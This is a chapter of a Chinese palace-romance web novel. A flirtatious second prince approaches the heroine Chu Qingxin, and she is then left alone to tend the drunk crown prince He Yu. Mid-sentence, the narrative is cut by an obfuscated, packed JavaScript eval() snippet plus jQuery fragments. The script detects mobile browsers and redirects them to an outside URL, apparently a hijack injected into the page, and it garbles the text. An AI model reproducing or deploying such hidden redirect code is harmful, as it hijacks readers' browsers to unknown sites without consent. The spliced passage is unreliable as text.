31. 一定不要发酒疯
作品:《吃醋精怎么缠上了我?》 二皇子有些发媚眼地打量着面前的姑娘,感觉这一切简直就是冥冥之中的缘分,这姑娘就这样自己出现在了面前。
“姑娘,难道是想见我,所以才来此?”这老二在面对皇兄和面对女人就是截然不同的两副面孔。
也正是这股子浪劲,才形成了他那风流的作风。
他面对女人的时候削去了锋利,多了些宠溺和风情,再加上他那副本就让人着迷的长相,自然是引得那些姑娘前仆后继地贴了上来。
明明刚才还在因为那薛岚亭和太子对抗,现在又对着自己意淫,还真是朝三暮四成性。
楚青歆撇了他一眼,把身子倒下来的太子扶正,回道,“二殿下真是多心了,我不过是怕司侍卫一人忙不来,于是同来帮忙,至于二殿下所说得,就算是这天塌下来,我这小女子也未必有那歹心。”
贺宣听后抿起嘴轻轻一笑,那双细长的眼眸流转到楚青歆的身上,带着一丝的含情脉脉,宽大的身子在光影下被拉长,更显得那人身材的伟岸和健壮,那张有些魅惑的脸现在写满了盘算的字眼。
他未语,只是慢慢靠近楚青歆,月光照在两人的身上,显得场面居然有些恬静暧昧。
贺宣逐渐向楚青歆压迫过来,依旧一言不发,只是一味用那双魅眼盯着她的双眸,四目相对,其间依稀能看见单向的火花闪动。
“你做什么?”楚青歆对他的动作有些警惕,毕竟自己面前的人可不是什么谦谦公子,也不是像贺玉这般淡漠不懂风情之人,她现在面前的可是一个众人皆知的大色狼,对她做什么事情都有可能,怎能不警铃大作。
但楚青歆现在扶着贺玉也无法动弹,只能尽力往后挪了挪,但耐不住贺宣大步往前,还是贴了上来。
两人间只有一臂之距,能清晰听见对方的呼吸声。坐在木椅上的贺玉还夹在两人之间,显得多余。
但贺宣貌似并不在意他皇兄的存在,瞟了一眼之后就不再理会,把视线再次转回楚青歆的身上。
楚青歆以为拉过来贺玉,能让贺宣安分几分,没想到反倒是激起了他的逆反,更加得寸进尺了起来。
“但楚姑娘,自那日东宫一见之后,我可是日日想着与你的重逢。”贺宣话里有些调戏的意味,音色勾着人。
若是现在对面的是一个寻常人家的姑娘,怕是会被这语气弄得面红耳赤,但是偏偏对面是一个单身多年的命苦牛马。
楚青歆早对这些调戏的话语免疫,甚至直接把这种话归为骚扰一档。
“二殿下,还真是多情呢,这心里装着这么多人,不会爆炸的嘛。”楚青歆虽然反复提醒自己不要对这皇子出言不逊,但是还是忍不住吐槽。
贺宣本来正在放肆地散发着魅力,以为这女子也会像他平时遇见的那些人一样,对自己的英姿迷倒,或者被他勾人的话羞红脸,但绝对没想到会收到这么冷淡的一句话。
多情,这楚姑娘为何这样的说自己,难道她才到宫中几日,已经听到了关于他的流言。
看来关于自己的流言,他不能再放手不管了。
他刚伸出手,想要搂住楚青歆腰肢,听了话后悬在半空,有些不知所措,自己一贯的手段居然在这女人面前失效了,他看着一脸凶相的女人,张了张嘴说不出话来。
“你若是真想和他竞争那薛姑娘,你就真情实意地去追,三心二意的,是谁会选择你啊。”楚青歆语重心长地说道着面前已经撒了情欲气息的男人。
她真是不懂,非得给男主的竞争对手都设计成这个样子吗,那女主不选男主也很难啊。
一个多情二皇子,一个疯魔霍执丰,这不选贺玉也很难啊。
“你说什么?什么薛姑娘。”贺宣听不懂她的话,面上茫然。
楚青歆脸上一种我都懂的样子,上前一小步,把贺玉搂在左臂,圈在怀里。
右手抬起,有些费劲才够到男人的肩膀,拍了拍安慰道,“今日之事你也不必难过,你抢不过太子这件事是天注定的。”
贺宣越听越是糊涂,她居然知道自己与太子要人这件事,是谁告诉她的?
但这楚姑娘听说的那位薛姑娘究竟是谁,他怎么不知道还有这么一号人物。
“你是不是听错了消息,你说的那人并不是我找皇兄索要之人,我真正要得是……”贺宣刚想要解释,司邢带着那马车走进院门,踢踢踏踏的声音打断了两人。
“楚姑娘,咱们可以走了。”
“走吧,你快把他挪走,实在是太沉了。”楚青歆没有太在意贺宣没说完的话,只当是他在狡辩。
贺玉的头正重重的地搭在楚青歆的手臂上,迷醉的模样居然让人有些动情。
本就俊朗的面孔现在也染上诱人的绯红,淡漠的表情终于解冻,缓解出了一丝温情。
一直精明锋利的男人居然在一刻变得可爱柔软,比平日多了几分亲人。
楚青歆把贺玉交由司邢,自己就利落地踏上了马车。
贺宣的话未及出口,面前的姑娘已经钻进了车厢里,当着侍卫他也不方便再将话说出,于是闭了嘴,把话咽了下去。
司邢将贺玉扶上马车,与二皇子拱手告辞,三人离开了此地。
等两人把贺玉挪到东宫时已经夜半,下人们也都回房入睡,所以楚青歆贺玉两人只能自己归置这个太子殿下。
贺玉被秋风一吹,激灵了一下后清醒了些,挂在司邢脖子上的手紧了紧,含糊不清地说着话,“我不能给你,不能给你……”
楚青歆心想不给就不给呗,喊什么喊啊,丢死人了,谁管你想不想给啊。
楚青歆有些嫌弃一身酒气还在胡言乱语的贺玉,她想着帮司邢将这醉懒之人扶到他的房间就脱身,但谁知这院子还没进,他们倒是先被人堵住了。
那黑衣貌似等了司邢许久,情绪有些焦虑激动,还没等司邢张嘴,就凑上前来,上下打量了几下贺玉。
楚青歆也看出司邢扶着太子同那人说话不方便,于是提出帮他扶着这醉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952154|191695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鬼。
司邢欣然接受,将太子殿下往那墙边一立,把他的头搭在楚青歆身上。
那黑衣与他走进黑暗中,不知道说了些什么,只见司邢脸色大变,情绪有些不对,很快又指了指楚青歆这边。
“怎么了吗?”楚青歆算是善解人意,主动问道。
司邢应该本不打算说,但思来想去还是决定告诉楚青歆,“师父出了些事情,现在我需要赶回去,可能需要你帮忙照看太子殿下,不知道姑娘方不方便。”
楚青歆本想回绝,因为她可是刚从司邢那里听说这太子殿下醉后所做的蠢事,万一今夜他依旧如此,她该如何是好啊。
但是她又一看司邢那副火烧眉毛的样子,话到了嘴边又说不出口来,只能硬着头皮答应下来。
“行吧,那你快去吧,他就交给我吧,若是有什么情况,我就去叫醒其他下人帮忙,你不用担心,你师父的事情要紧。”
“那就多谢楚姑娘了。”
“但是,现在还有一件非常重要的事情需要你的帮助。”
“何事?”司邢本来都已经打算同那黑衣轻功离开,被楚青歆一句话又叫住。
“内个,你能帮我把他先抬进去吗,他实在是太沉了,我一个人挪不动他。”楚青歆有些不好意思地说道。
贺玉现在正一脸痴笑,在那醉梦之中,嘴巴微微张开,绯红已经映上了嘴唇,像是一摊软泥一般糊在楚青歆的身侧,一只手搭在她的肩膀上,身体即使贴在墙壁上也不停地下滑着。
司邢帮忙将太子殿下送回房间的床上,就同那黑衣一并离开了。
楚青歆看着床上秀气的男人倒是有些沉醉,但很快就清醒过来,心里疯狂求着一会男人不要耍起酒疯,她可受不住像司邢说得那般状况。
要是那贺玉真站起身来要发疯,她就只能给他打晕过去,等着明早再赎罪。
看着熟睡的贺玉,她的想法瞬间烟消云散,但现状好像没有她想象中的那样麻烦,居然还挺……安静的。
除了刚进屋子的时候折腾了一下,到现在为止还是在酣睡中。
贺玉连衣服都没有换下,就躺在了床上,因为乱动,那长袍都变得凌乱,乌黑的发丝现在随意披散着,床榻上的被褥也被他刚进屋时折腾地起了褶皱,现在这太子身边简直就是一团乱麻。
但楚青歆也懒得管,她从小到大也是被家里人惯到大的,也是衣来伸手饭来张口,哪里伺候过什么人。
见贺玉消停了下来,楚青歆总算是放了心,推门就打算回自己的房间。
但转身的她并没看见,贺玉已经迷迷糊糊睁开眼睛,有些迷乱地看着自己的背影。
木门被推开,一股冷风涌入温暖的室内,楚青歆刚刚打了一个寒颤,就被身后袭来的一股热浪裹着,灯光映下的黑影完完全全盖住她的影子。
男人从后面紧紧搂住了她的身体,声音里携着热气蒸腾在楚青歆耳朵上,声音慵懒磁性,还带着些恳求道,“你别走。”

